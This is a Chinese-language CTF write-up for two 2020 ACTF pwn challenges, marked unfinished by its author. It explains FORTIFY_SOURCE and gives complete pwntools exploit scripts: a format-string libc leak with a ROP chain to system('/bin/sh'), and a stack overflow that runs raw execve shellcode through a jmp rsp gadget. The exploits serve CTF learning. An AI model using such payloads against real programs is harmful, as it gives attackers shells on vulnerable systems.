2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的。反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用爱发电。
Check_rop
题目保护如下:
可以看到开启了FORTIFY保护。
FORTIFY技术是 gcc 在编译源码的时候会判断程序哪些buffer会存在 可能的溢出,在 buffer 大小已知的情况下,GCC 会把 strcpy,memcpy 这类函数自动替换成相应的 __strcpy_chk(dst, src, dstlen)等函数。
FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。
函数的read是自己写的,存在漏洞。
当使用这个函数进行输入的时候,如果参数2即a2==0,就可以进行溢出。
思路:先利用格式化字符串泄露libc地址,这里需要本地调一下偏移算出基地址,然后就是基本的溢出了。
1 from pwn import * 2 3 p = process('./chk_rop') 4 libc = ELF('./libc.so.6') 5 context.log_level = 'debug' 6 7 p.sendafter('gift...\n','%p%p') 8 p.recv(3) 9 libc_base = int(p.recv(14),16)-1012512 10 print 'libc_base-->'+hex(libc_base) 11 system = libc_base+libc.symbols['system'] 12 binsh = libc_base+libc.search('/bin/sh').next() 13 pop_rdi = 0x004009d3 14 15 p.sendafter('filename\n','a'*0x10) 16 payload = 'a'*0x50+'bbbbbbbb'+p64(pop_rdi) 17 payload += p64(binsh)+p64(system) 18 p.sendlineafter('content:\n',payload) 19 p.interactive()
shellcode
程序有这个一个gadgets。
栈中输入shellcode,然后返回地址覆盖成这个地址就可以了。需要注意的是,用pwntools自带的shellcode会超出可以写的长度,所以百度搜了一个64位程序比较短的shellcode。
1 from pwn import * 2 3 p = process('./shellcode') 4 elf = ELF('./shellcode') 5 context(os='linux',arch='amd64',log_level='debug') 6 7 jmp_rsp = 0x0040070B 8 shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 9 print len(shellcode) 10 11 payload = shellcode.ljust(0x20,'\x00')+'bbbbbbbb'+p64(jmp_rsp)+p64(jmp_rsp) 12 p.sendafter('0day!\n',payload) 13 p.interactive()
未完